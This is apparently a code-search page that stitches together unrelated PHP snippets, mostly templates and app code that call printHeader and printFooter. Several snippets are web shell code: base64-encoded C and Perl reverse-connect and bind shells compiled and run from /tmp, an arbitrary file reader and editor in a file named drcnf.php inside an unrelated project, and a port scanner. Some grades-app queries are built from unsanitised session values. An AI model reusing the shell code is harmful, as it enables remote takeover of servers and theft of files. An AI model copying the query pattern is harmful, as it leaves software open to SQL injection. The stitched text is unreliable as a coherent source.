function download_cert($this_cert, $cer_ext)
{
    $config = $_SESSION['config'];
    if (!isset($cer_ext)) {
        $cer_ext = 'FALSE';
    }
    if ($this_cert == "zzTHISzzCAzz") {
        $my_x509_parse = openssl_x509_parse(file_get_contents($config['cacert']));
        $filename = $my_x509_parse['subject']['CN'] . ":" . $my_x509_parse['subject']['OU'] . ":" . $my_x509_parse['subject']['O'] . ":" . $my_x509_parse['subject']['L'] . ":" . $my_x509_parse['subject']['ST'] . ":" . $my_x509_parse['subject']['C'];
        $download_certfile = $config['cacert'];
        $ext = ".pem";
        //$application_type="application/x-x509-ca-cert";
        $application_type = 'application/octet-stream';
    } else {
        $filename = substr($this_cert, 0, strrpos($this_cert, '.'));
        $ext = substr($this_cert, strrpos($this_cert, '.'));
        $download_certfile = base64_encode($filename);
        $download_certfile = $config['cert_path'] . $download_certfile . $ext;
        $application_type = 'application/octet-stream';
    }
    if ($cer_ext != 'FALSE') {
        $ext = '.' . $cer_ext;
    }
    if (file_exists($download_certfile)) {
        $myCert = join("", file($download_certfile));
        download_header_code($filename . $ext, $myCert, $application_type);
    } else {
        printHeader("Certificate Retrieval");
        print "<h1> {$filename} - X509 CA certificate not found</h1>\n";
        printFooter();
    }
}
コード例 #2
0
ファイル: class_logins.php プロジェクト: Vringe/facileManager
    /**
     * Displays the login form
     *
     * @since 1.0
     * @package facileManager
     *
     * @return string
     */
    function printLoginForm()
    {
        global $fm_name;
        printHeader(_('Login'), 'login');
        /** Cannot change password without mail_enable defined */
        $mail_enable = getOption('fm_db_version') >= 18 ? getOption('mail_enable') : false;
        $auth_method = getOption('fm_db_version') >= 18 ? getOption('auth_method') : false;
        $forgot_link = $mail_enable && $auth_method == 1 ? sprintf('<p id="forgotton_link"><a href="?forgot_password">%s</a></p>', _('Forgot your password?')) : null;
        $branding_logo = $GLOBALS['RELPATH'] . 'fm-modules/' . $fm_name . '/images/fm.png';
        printf('<form id="loginform" action="%1$s" method="post">
		<div id="fm-branding">
			<img src="%2$s" /><span>%3$s</span>
		</div>
		<div id="login_form">
		<table>
			<tr>
				<td>
					<div class="input-wrapper">
						<input type="text" size="25" name="username" id="username" placeholder="%4$s" />
					</div>
				</td>
				<td>
					<div class="input-wrapper">
						<input type="password" size="25" name="password" id="password" placeholder="%5$s" />
					</div>
				</td>
				<td><input name="submit" id="loginbtn" type="submit" value="%3$s" class="button" /></td>
			</tr>
		</table>
		%6$s
		<div id="message"></div>
		</form>
		</div>', $_SERVER['REQUEST_URI'], $branding_logo, _('Login'), _('Username'), _('Password'), $forgot_link);
        exit(printFooter());
    }
コード例 #3
0
ファイル: header.php プロジェクト: rjho/grades
function checkLogin($checkType)
{
    global $db;
    if (!isset($_SESSION['username'])) {
        require_once "login.php";
        // Not logged in. Kick to login page.
        die;
    } else {
        $check = $db->query("SELECT * FROM User WHERE userName='******'username']}' AND passwordHash='{$_SESSION['password']}'");
        $userInfo = $check->fetch_array();
        if ($check->num_rows == 0) {
            // Invalid username or password. Kick to login page.
            require_once "login.php";
            die;
        } elseif (!$userInfo['student'] && $checkType == "student" || !$userInfo['instructor'] && $checkType == "instructor" || !$userInfo['administrator'] && $checkType == "administrator") {
            // Incorrect permissions. Return an error.
            printHeader("Access Denied");
            echo "<p>You do not have permission to view this page.</p>";
            printFooter(true);
            die;
        } else {
            // Everything is ok. Return the user data.
            return $userInfo;
        }
    }
}
コード例 #4
0
ファイル: 404.php プロジェクト: pclemot/facileManager
 |                                                                         |
 | This program is free software; you can redistribute it and/or           |
 | modify it under the terms of the GNU General Public License             |
 | as published by the Free Software Foundation; either version 2          |
 | of the License, or (at your option) any later version.                  |
 |                                                                         |
 | This program is distributed in the hope that it will be useful,         |
 | but WITHOUT ANY WARRANTY; without even the implied warranty of          |
 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the           |
 | GNU General Public License for more details.                            |
 +-------------------------------------------------------------------------+
 | facileManager: Easy System Administration                               |
 +-------------------------------------------------------------------------+
 | http://www.facilemanager.com/                                           |
 +-------------------------------------------------------------------------+
*/
/**
 * Displays 404 Error
 *
 * @author		Jon LaBass
 * @version		$Id:$
 * @copyright	2013
 *
 */
printHeader(_('File Not Found'), 'install');
printf('<div id="message"><p class="failed">' . _('File Not Found') . '</p></div>
<p>' . _('The file you tried (%s) is not found at this location. The URL or link may be outdated or incorrect.') . '</p>
<p>' . _('If you typed the URL in the address bar, please make sure the spelling is correct.') . '</p>
<p id="forgotton_link"><a href="javascript:history.back();">' . _('&larr; Back') . '</a></p>', $_SERVER['REQUEST_URI']);
exit(printFooter());
コード例 #5
0
require 'vendor/autoload.php';
$client = new Everyman\Neo4j\Client('localhost', 7474);
printHeader();
printSearchForm($uid);
echo "<b>User: {$uid} - All Artist Listened by my friends</b><br><br>";
$queryString = "MATCH (u:user {id:{$uid}})-[:ADD_FRIEND_TO]-(:user)-[listen: WEIGHT]-(a:artist)\r\nWHERE NOT (u)-[:WEIGHT]-(a)\r\nWITH a, count(u) as count\r\nRETURN a\r\nORDER BY count desc LIMIT 5";
$query = new Everyman\Neo4j\Cypher\Query($client, $queryString);
$result = $query->getResultSet();
foreach ($result as $row) {
    $artist = $client->getNode($row['x']->getId());
    $artistId = $artist->getProperty('id');
    $artistName = $artist->getProperty('name');
    echo "Artist Name: " . $artistName . "</br>";
    printArtistInfo($artistId);
    ?>
	<form action="listen.php" method="post">
	<input type="hidden" name="action" value="addlisten">
	<input type="hidden" name="userId" value="<?php 
    echo $uid;
    ?>
">
	<input type="hidden" name="artistId" value="<?php 
    echo $artistId;
    ?>
">
	<input type="submit" value="Listen">
	</form>
	<?php 
}
printFooter();
コード例 #6
0
ファイル: admin_classes.php プロジェクト: rjho/grades
    echo "Class Id: " . $class['classId'] . "<br>";
    echo "Semester: " . $class['semester'] . " " . $class['year'] . "<br>";
    echo "Capacity: " . $class['maxEnrollment'] . "<br>";
    echo "<h2>Prerequisites</h2>\n\t<ul>";
    if ($prereqs->num_rows == 0) {
        echo "<li>None</li>";
    }
    while ($required = $prereqs->fetch_array(MYSQLI_ASSOC)) {
        echo "<li>" . $required['requiredClassNum'] . " - " . $required['className'] . "</li>";
    }
    echo "</ul>";
} else {
    // List all instructors
    $classList = $db->query("SELECT Class.classId, className, classNum, sectionNum, semester, year, open, finished, Instructor.name, Instructor.userId FROM Class\n\tLEFT JOIN Teaches ON Class.classId=Teaches.classId\n\tLEFT JOIN Instructor ON Teaches.userId=Instructor.userId\n\tORDER BY Class.classId");
    echo "<table><tr><th>ID#</th><th>Name</th><th>Class Number</th><th>Section</th><th>Semester</th><th>Open?</th><th>Finished?</th><th>Instructor</th><th>More info</th></tr>";
    while ($class = $classList->fetch_array(MYSQLI_ASSOC)) {
        echo "<tr><td>" . $class['classId'] . "</td><td>" . $class['className'] . "</td><td>" . $class['classNum'] . "</td><td>" . $class['sectionNum'] . "</td>";
        echo "<td>" . $class['semester'] . " " . $class['year'] . "</td>";
        echo "<td>" . yesOrNo($class['open']) . "</td>" . "<td>" . yesOrNo($class['finished']) . "</td>";
        if (empty($class['name'])) {
            echo "<td>None. <a href='admin_teaches.php?classId=" . $class['classId'] . "'>(Add)</a></td>";
        } else {
            echo "<td>" . $class['name'] . " <a href='admin_teaches.php?classId=" . $class['classId'] . "&amp;userId=" . $class['userId'] . "'>(Remove)</a></td>";
        }
        echo "<td><a href='admin_classes.php?classId=" . $class['classId'] . "'>More info</a></td>";
        echo "</tr>";
    }
    echo "</table>";
}
printFooter("admin");
コード例 #7
0
ファイル: password.php プロジェクト: rb26/zenphoto
			<!-- Crumb Trail Navigation -->
			<div id="wrapnav">
				<div id="navbar">
					<?php 
printHomeLink('', ' | ');
printGalleryIndexURL(' | ', getGalleryTitle());
echo gettext('A password is required for the page you requested');
?>
				</div>
			</div>

		</div>

		<!-- Wrap Main Body -->
		<div id="content">
			<small>&nbsp;</small>
			<div id="main">
				<?php 
printPasswordForm('', true, false);
?>
			</div>
		</div>

		<?php 
printFooter(false);
zp_apply_filter('theme_body_close');
?>

	</body>
</html>
コード例 #8
0
ファイル: printers.php プロジェクト: smutt/HOBA-server
function printLoginFailure($str = "")
{
    printHeader();
    if (strlen($str) > 0) {
        print "\n" . $str;
    } else {
        print "\nHOBA Login Failed: Session expired or something else broke.";
    }
    printFooter();
}
コード例 #9
0
function actionNetwork()
{
    printHeader();
    $back_connect_c = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0IHNvY2thZGRyX2luIHNpbjsNCiAgICBkYWVtb24oMSwwKTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogICAgc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJdKSk7DQogICAgc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsNCiAgICBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsNCiAgICBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlsIik7DQogICAgICAgIHJldHVybiAwOw0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTsNCiAgICBkdXAyKGZkLCAyKTsNCiAgICBzeXN0ZW0oIi9iaW4vc2ggLWkiKTsNCiAgICBjbG9zZShmZCk7DQp9";
    $back_connect_p = "IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgi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W4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
    ?>
	<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit="g(null,null,this.using.value,this.port.value,this.pass.value);return false;">
	<span>Bind port to /bin/sh</span><br/>
	Port: <input type='text' name='port' value='31337'> Password: <input type='text' name='pass' value='wso'> Using: <select name="using"><option value='bpc'>C</option><option value='bpp'>Perl</option></select> <input type=submit value=">>">
	</form>
	<form name='nfp' onSubmit="g(null,null,this.using.value,this.server.value,this.port.value);return false;">
	<span>Back-connect to</span><br/>
	Server: <input type='text' name='server' value='<?php 
    echo $_SERVER['REMOTE_ADDR'];
    ?>
'> Port: <input type='text' name='port' value='31337'> Using: <select name="using"><option value='bcc'>C</option><option value='bcp'>Perl</option></select> <input type=submit value=">>">
	</form><br>
	<?php 
    if (isset($_POST['p1'])) {
        function cf($f, $t)
        {
            $w = @fopen($f, "w") or @function_exists('file_put_contents');
            if ($w) {
                @fwrite($w, @base64_decode($t)) or @fputs($w, @base64_decode($t)) or @file_put_contents($f, @base64_decode($t));
                @fclose($w);
            }
        }
        if ($_POST['p1'] == 'bpc') {
            cf("/tmp/bp.c", $bind_port_c);
            $out = ex("gcc -o /tmp/bp /tmp/bp.c");
            @unlink("/tmp/bp.c");
            $out .= ex("/tmp/bp " . $_POST['p2'] . " " . $_POST['p3'] . " &");
            echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bp") . "</pre>";
        }
        if ($_POST['p1'] == 'bpp') {
            cf("/tmp/bp.pl", $bind_port_p);
            $out = ex(which("perl") . " /tmp/bp.pl " . $_POST['p2'] . " &");
            echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bp.pl") . "</pre>";
        }
        if ($_POST['p1'] == 'bcc') {
            cf("/tmp/bc.c", $back_connect_c);
            $out = ex("gcc -o /tmp/bc /tmp/bc.c");
            @unlink("/tmp/bc.c");
            $out .= ex("/tmp/bc " . $_POST['p2'] . " " . $_POST['p3'] . " &");
            echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bc") . "</pre>";
        }
        if ($_POST['p1'] == 'bcp') {
            cf("/tmp/bc.pl", $back_connect_p);
            $out = ex(which("perl") . " /tmp/bc.pl " . $_POST['p2'] . " " . $_POST['p3'] . " &");
            echo "<pre class=ml1>{$out}\n" . ex("ps aux | grep bc.pl") . "</pre>";
        }
    }
    echo '</div>';
    printFooter();
}
コード例 #10
0
            }
        }
    }
    echo "</ul>";
}
echo "<h2>Total: " . $total . "</h2>";
?>
	
						
						</p>

						<?php 
$cookie_name = "item_count";
if ($_COOKIE[$cookie_name] != NULL) {
    echo "\n\t\t\t\t\t\t\t\t<form action = '' method = 'post' data-ajax = 'false' id='confirm-order-form'>\n\n\t\t\t\t\t\t\t\t\t<input type = 'submit' name = 'removeAll' value = 'Empty Cart' style = 'width: 215px; margin-left: 20px;' data-inline='true'>\n\n\t\t                    \t</form>\n\t\t                    \t";
}
?>

					</center>

				</article>

				<?php 
include "resources/php/footer.php";
printFooter(2);
?>
			</div>
		</div>
<!-- CHECKOUT PAGE end -->
	</body>
</html>
コード例 #11
0
ファイル: student.php プロジェクト: rjho/grades
<?php

require_once "header.php";
$userInfo = checkLogin("student");
printHeader("Student Panel");
printStudentInfo();
echo "<p>Welcome to the student panel!</p>";
echo "<a href='student_password.php'>Change password</a><br />";
echo "<a href='student_enroll.php'>Enroll in Classes</a><br />";
echo "<a href='student_drop.php'>Drop Classes</a>";
echo "<h2>My Classes</h2>";
echo "<table><tr><th>Class</th><th>Class Name</th><th>Semester</th><th>Grade</th></tr>";
$classList = $db->query("SELECT * FROM Takes NATURAL JOIN Class WHERE userId=(SELECT userId FROM User WHERE userName='******'username'] . "')");
while ($class = $classList->fetch_array(MYSQLI_ASSOC)) {
    echo "<tr><td><a href='student_grades.php?class=" . $class['classId'] . "'>" . $class['classNum'] . "</a></td><td>" . $class['className'] . "</td><td>" . $class['semester'] . " " . $class['year'] . "</td><td>" . $class['grade'] . "</td></tr>";
}
echo "</table>";
printFooter("student");
コード例 #12
0
    <div id="right-bar" class="right rounded"> 
        <div id="search-link"><h2>Search</h2></div>
        <h2>Categories :</h2>
        <?php 
printCategories();
?>
        <h2>Archives :</h2>
        <ul>
        <?php 
printArchiveBar();
?>
    </div>
    
    <div id="search-box" class="search-box rounded"> 
        <h2>Search: COMING SOON!</h2>
        <form>
            <input class="rounded" type="search" placeholder="search horrieinternational.com" />
        </form>
    </div>
        
    <div style="clear: both;"> </div>
            
    <div id="footer" class="footer rounded">
        <?php 
printFooter($siteRootPath);
?>
    </div>
</div>

</body>
</html>
コード例 #13
0
ファイル: browser.php プロジェクト: BackupTheBerlios/sage
function listCurrentPath()
{
    //  Verzeichniseintrag holen
    $path = new Path();
    if (!$path->selectByName($_SESSION["path"])) {
        fehlerausgabe("Verzeichnis existiert nicht!");
        return false;
    }
    // ACL für das Verzeichnis holen
    //$user = $_SESSION["user"];
    $acl = $_SESSION["user"]->getACLByPath($path->pathname);
    if ($acl->read_path != "1") {
        fehlerausgabe("Zugriff auf {$path->pathname} verweigert");
        return false;
    }
    printHeader($path);
    // Verzeichnisse listen
    $pathlist = new PathList();
    $pathlist->selectByParentId($path->path_id);
    for ($i = 0; $i < count($pathlist->list); $i++) {
        $acl = @$_SESSION["user"]->getACLByPath($pathlist->list[$i]->pathname);
        if ($acl->read_path) {
            printDirectoryEntry($pathlist->list[$i], false);
        }
    }
    $filelist = new FileList();
    $filelist->selectByPathId($path->path_id);
    for ($i = 0; $i < count($filelist->list); $i++) {
        printDirectoryEntry($filelist->list[$i], true);
    }
    printFooter();
}
コード例 #14
0
ファイル: news.php プロジェクト: ItsHaden/epicLanBootstrap
	    <p><?php 
            printNewsReadMoreLink();
            ?>
</p>
	    
	    </div>	
	<?php 
        }
        printNewsPageListWithNav(gettext('next &raquo;'), gettext('&laquo; prev'));
    }
}
?>
 

			</div><!-- content left-->
			<div id="sidebar">
			<?php 
include "sidebar.php";
?>
			</div><!-- sidebar -->
			<br style="clear:both" />
		</div> <!-- main2 -->
		
	</div> <!-- content -->

<?php 
printFooter('news');
?>

</body>
</html>
コード例 #15
0
ファイル: players.php プロジェクト: Olybri/Minecrew
                var xhttp = new XMLHttpRequest();
                xhttp.onreadystatechange = function()
                {
                    if (xhttp.readyState == 4 && xhttp.status == 200)
                        document.getElementById("stats").innerHTML = xhttp.responseText;
                };
                xhttp.open("GET", url, true);
                xhttp.send();
            }
        </script>
    </head>    
    <body onload="printStats('stats.php')">
        <div id="pannel_player">
            <header>
                <h2>Comparaison des joueurs</h2>
                <a href="/">Retour</a>
                <br>
                <br>
            </header>
            <section id='stats'>
                Chargement <img src="images/loader.gif">
            </section>
            <?php 
include "footer.inc";
printFooter("Fournisseur d'avatars", "Crafatar", "https://crafatar.com");
?>
        </div>
        <br>
    </body>
</html>
コード例 #16
0
function download_crl($this_crl, $crl_ext, $crl_filename)
{
    $this_ca = $_SESSION['my_ca'];
    $config = $_SESSION['config'];
    if (!isset($crl_ext)) {
        $crl_ext = 'FALSE';
    }
    $filename = substr($this_crl, 0, strrpos($this_crl, '.'));
    $ext = substr($this_crl, strrpos($this_crl, '.'));
    $download_crlfile = $config['crl_path'] . $filename . $ext;
    $application_type = 'application/octet-stream';
    if ($crl_ext != 'FALSE') {
        $ext = '.' . $crl_ext;
    }
    if ($crl_filename != 'off') {
        $filename = $this_ca;
    }
    if (file_exists($download_crlfile)) {
        $myCRL = join("", file($download_crlfile));
        download_header_code($filename . $ext, $myCRL, $application_type);
    } else {
        printHeader("Certificate Retrieval");
        print "<h1> {$filename} - X509 CRL not found</h1>\n";
        printFooter();
    }
}
コード例 #17
0
ファイル: index.php プロジェクト: Olybri/Minecrew
                <div id='status'>
                    <h2>Le serveur est <span id='substatus' class="red"><img src="images/loader.gif"> </span></h2><br>
                </div>
                <?php 
echo "<br><form>" . "Adresse du serveur : " . "<input type=\"text\" name=\"address\" value=" . $config["HOSTNAME"] . " readonly><br>" . "</form><br>\n";
echo "Logs : <a href=\"" . $config["LOCATION"] . (substr($config["LOCATION"], -1) == "/" ? "" : "/") . "logs/latest.log\">latest.log</a><br>\n";
if (!empty($config["BACKUP"])) {
    echo "Backups : <a href=\"" . $config["BACKUP"] . "\">snapshots</a><br>\n";
}
if (!empty($config["LAUNCHER"])) {
    echo "Launcher : <a href=\"" . $config["LAUNCHER"] . "\">télécharger</a><br>\n";
}
?>
                <h2><a href="players.php">Comparer les joueurs</a></h2>
                <br>
            </section>
            <?php 
include "footer.inc";
printFooter("Rendu de la carte", "The Overviewer", "https://overviewer.org/");
?>
        </div>
        <br>
        <div id="mcmap">
             <div id="NoJSWarning" style="color:white; background-color:black">
                 If you can see this message, there is likely a problem loading the Overviewer javascript components.
                 Check the javascript console for error messages.
             </div>
         </div>
        <br>
    </body>
</html>
コード例 #18
0
ファイル: album.php プロジェクト: ItsHaden/epicLanBootstrap
		<div id="pagenumbers">
		<?php 
    if (getNumSubalbums() != 0 || !$oneImagePage) {
        printPageListWithNav("&laquo; " . gettext('prev'), gettext('next') . " &raquo;", $oneImagePage);
    }
    ?>
		</div> <!-- pagenumbers -->


</div> <!-- subcontent -->

<!-- Footer -->
<br style="clear:all" />

<?php 
    printFooter('album');
    ?>


<?php 
    if (function_exists('printAdminToolbox')) {
        printAdminToolbox();
    }
    ?>

</body>
</html>
<?php 
} else {
    header('Content-Type: application/xml');
    $path = '';
コード例 #19
0
ファイル: drcnf.php プロジェクト: juanmnl07/ageco
function actionFilesTools()
{
    if (isset($_POST['p1'])) {
        $_POST['p1'] = urldecode($_POST['p1']);
    }
    if (@$_POST['p2'] == 'download') {
        if (@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
            ob_start("ob_gzhandler", 4096);
            header("Content-Disposition: attachment; filename=" . basename($_POST['p1']));
            if (function_exists("mime_content_type")) {
                $type = @mime_content_type($_POST['p1']);
                header("Content-Type: " . $type);
            }
            $fp = @fopen($_POST['p1'], "r");
            if ($fp) {
                while (!@feof($fp)) {
                    echo @fread($fp, 1024);
                }
                fclose($fp);
            }
        }
        exit;
    }
    if (@$_POST['p2'] == 'mkfile') {
        if (!file_exists($_POST['p1'])) {
            $fp = @fopen($_POST['p1'], 'w');
            if ($fp) {
                $_POST['p2'] = "edit";
                fclose($fp);
            }
        }
    }
    printHeader();
    echo '<h1>File tools</h1><div class=content>';
    if (!file_exists(@$_POST['p1'])) {
        echo 'File not exists';
        printFooter();
        return;
    }
    $uid = @posix_getpwuid(@fileowner($_POST['p1']));
    if (!$uid) {
        $uid['name'] = @fileowner($_POST['p1']);
        $gid['name'] = @fileowner($_POST['p1']);
    } else {
        $gid = @posix_getgrgid(@fileowner($_POST['p1']));
    }
    echo '<span>Name:</span> ' . htmlspecialchars(@basename($_POST['p1'])) . ' <span>Size:</span> ' . (is_file($_POST['p1']) ? viewSize(filesize($_POST['p1'])) : '-') . ' <span>Permission:</span> ' . viewPermsColor($_POST['p1']) . ' <span>Owner/Group:</span> ' . $uid['name'] . '/' . $gid['name'] . '<br>';
    echo '<span>Create time:</span> ' . date('Y-m-d H:i:s', filectime($_POST['p1'])) . ' <span>Access time:</span> ' . date('Y-m-d H:i:s', fileatime($_POST['p1'])) . ' <span>Modify time:</span> ' . date('Y-m-d H:i:s', filemtime($_POST['p1'])) . '<br><br>';
    if (empty($_POST['p2'])) {
        $_POST['p2'] = 'view';
    }
    if (is_file($_POST['p1'])) {
        $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
    } else {
        $m = array('Chmod', 'Rename', 'Touch');
    }
    foreach ($m as $v) {
        echo '<a href=# onclick="g(null,null,null,\'' . strtolower($v) . '\')">' . (strtolower($v) == @$_POST['p2'] ? '<b>[ ' . $v . ' ]</b>' : $v) . '</a> ';
    }
    echo '<br><br>';
    switch ($_POST['p2']) {
        case 'view':
            echo '<pre class=ml1>';
            $fp = @fopen($_POST['p1'], 'r');
            if ($fp) {
                while (!@feof($fp)) {
                    echo htmlspecialchars(@fread($fp, 1024));
                }
                @fclose($fp);
            }
            echo '</pre>';
            break;
        case 'highlight':
            if (@is_readable($_POST['p1'])) {
                echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
                $code = @highlight_file($_POST['p1'], true);
                echo str_replace(array('<span ', '</span>'), array('<font ', '</font>'), $code) . '</div>';
            }
            break;
        case 'chmod':
            if (!empty($_POST['p3'])) {
                $perms = 0;
                for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i) {
                    $perms += (int) $_POST['p3'][$i] * pow(8, strlen($_POST['p3']) - $i - 1);
                }
                if (!@chmod($_POST['p1'], $perms)) {
                    echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                }
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value=">>"></form>';
            break;
        case 'edit':
            if (!is_writable($_POST['p1'])) {
                echo 'File isn\'t writeable';
                break;
            }
            if (!empty($_POST['p3'])) {
                $time = @filemtime($_POST['p1']);
                $_POST['p3'] = substr($_POST['p3'], 1);
                $fp = @fopen($_POST['p1'], "w");
                if ($fp) {
                    @fwrite($fp, $_POST['p3']);
                    @fclose($fp);
                    echo 'Saved!<br><script>p3_="";</script>';
                    @touch($_POST['p1'], $time, $time);
                }
            }
            echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;">';
            $fp = @fopen($_POST['p1'], 'r');
            if ($fp) {
                while (!@feof($fp)) {
                    echo htmlspecialchars(@fread($fp, 1024));
                }
                @fclose($fp);
            }
            echo '<input type=submit value=">>"></form>';
            break;
        case 'hexdump':
            $c = @file_get_contents($_POST['p1']);
            $n = 0;
            $h = array('00000000<br>', '', '');
            $len = strlen($c);
            for ($i = 0; $i < $len; ++$i) {
                $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                switch (ord($c[$i])) {
                    case 0:
                        $h[2] .= ' ';
                        break;
                    case 9:
                        $h[2] .= ' ';
                        break;
                    case 10:
                        $h[2] .= ' ';
                        break;
                    case 13:
                        $h[2] .= ' ';
                        break;
                    default:
                        $h[2] .= $c[$i];
                        break;
                }
                $n++;
                if ($n == 32) {
                    $n = 0;
                    if ($i + 1 < $len) {
                        $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                    }
                    $h[1] .= '<br>';
                    $h[2] .= "\n";
                }
            }
            echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#282828><pre>' . $h[1] . '</pre></td><td bgcolor=#333333><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
            break;
        case 'rename':
            if (!empty($_POST['p3'])) {
                if (!@rename($_POST['p1'], $_POST['p3'])) {
                    echo 'Can\'t rename!<br>';
                } else {
                    die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                }
            }
            echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value=">>"></form>';
            break;
        case 'touch':
            if (!empty($_POST['p3'])) {
                $time = strtotime($_POST['p3']);
                if ($time) {
                    if (!touch($_POST['p1'], $time, $time)) {
                        echo 'Fail!';
                    } else {
                        echo 'Touched!';
                    }
                } else {
                    echo 'Bad time format!';
                }
            }
            clearstatcache();
            echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value=">>"></form>';
            break;
    }
    echo '</div>';
    printFooter();
}
コード例 #20
0
function actionPortScanner()
{
    printHeader();
    echo '<h1>Port Scanner</h1>';
    echo '<div class="content">';
    echo '<form action="" method="post">';
    if (isset($_POST['host']) && is_numeric($_POST['end']) && is_numeric($_POST['start'])) {
        $start = strip_tags($_POST['start']);
        $end = strip_tags($_POST['end']);
        $host = strip_tags($_POST['host']);
        for ($i = $start; $i <= $end; $i++) {
            $fp = @fsockopen($host, $i, $errno, $errstr, 3);
            if ($fp) {
                echo 'Port ' . $i . ' is <font color=lime>open</font><br>';
            }
            flush();
        }
    } else {
        echo '<br /><br /><center><input type="hidden" name="a" value="PortScanner"><input type="hidden" name=p1><input type="hidden" name="p2">
              <input type="hidden" name="c" value="' . htmlspecialchars($GLOBALS['cwd']) . '">
              <input type="hidden" name="charset" value="' . (isset($_POST['charset']) ? $_POST['charset'] : '') . '">
              Host: <input type="text" name="host" value="localhost"/><br /><br />
              Port start: <input type="text" name="start" value="0"/><br /><br />
              Port end:<input type="text" name="end" value="5000"/><br /><br />
              <input type="submit" value="Scan Ports" />
              </form></center><br /><br />';
    }
    echo '</div>';
    printFooter();
}
コード例 #21
0
					<center>
						<h1>Warning!</h1>
					</center>

					<center>

						<h1>
						FILE NOT FOUND				
						</h1>

					</center>
					<!--
					<ul data-role="listview" data-inset="true">
					
						<li><a href="#menu-page" data-transition=''><center>Our Menu</center></a></li>
						<li><a href="restaurant-locator.php" data-ajax="false"><center>Restaurant Locator</center></a></li>

					</ul>
					-->

				</article>

				<?php 
include "resources/php/footer.php";
printFooter(1);
?>
			</div>
		</div>
<!-- CHECKOUT PAGE end -->
	</body>
</html>
コード例 #22
0
ファイル: setup.php プロジェクト: sdiver78/MyTinyTodo
function exitMessage($s)
{
    echo $s;
    printFooter();
    exit;
}
コード例 #23
0
ファイル: playground.php プロジェクト: R1413/CryptoGear
						<div id="challenge_two_content" class="challenge_content">
							<p>Here's your second challenge.</p>
						</div>

						<div id="challenge_three_content" class="challenge_content">
							<p>Welcome to the third challenge.</p>
						</div>
						
						<div id="challenge_four_content" class="challenge_content">
							<p>Welcome to the fourth and final challenge.</p>
						</div>
						
					
					</div>
				</div>
			</div>
			<div id="rightColumn">
				<div id="passive_text">
					<form> <div id="passive_form" name="passive_form" cols="40" rows="7"></textarea></div>
				</div>
				<div id="active_text">
					<form> <textarea id="active_form" name="active_form" cols="40" rows="12"></textarea></form>
				</div>
			</div>
		</div>
</div>

<?php 
echo printFooter();
コード例 #24
0
    if ($classInfo['open']) {
        echo " <a href=\"javascript:editAssignment('" . $assignment['assignmentName'] . "')\">Edit</a>";
        echo " <a href='instructor_assignments.php?class=" . $classId . "&remove=" . $assignment['assignmentName'] . "'>Delete</a>";
    }
    echo "</td></tr>";
}
echo "</table>";
if ($classInfo['open'] == true) {
    echo "<h2>New Assignment</h2>";
    echo "<form action='instructor_assignments.php' method='post'>Assignment Name:<br/><input type='text' name='assignmentName'><br />Points:<br /><input type='text' name='points' size='3' /><br />\n\t<input type='hidden' name='class' value='{$classId}' /><input type='submit' value='Add'>\n\t</form>";
    echo <<<END
<script type='text/javascript'>
\tfunction editAssignment(aName)
\t{
\t\t\tdocument.getElementById('edit').style.display='block';
\t\t\tdocument.getElementById('eOldName').value = aName;
\t\t\tdocument.getElementById('eNewName').value = aName;
\t}
\t</script>\t
\t<div style='display:none' id='edit'><h2>Edit Assignment</h2>
\t<form action='instructor_assignments.php' method='post'>
\t<input type='hidden' name='class' value='{$classId}'>
\t<input type='hidden' name='oldName' id='eOldName' value=''>
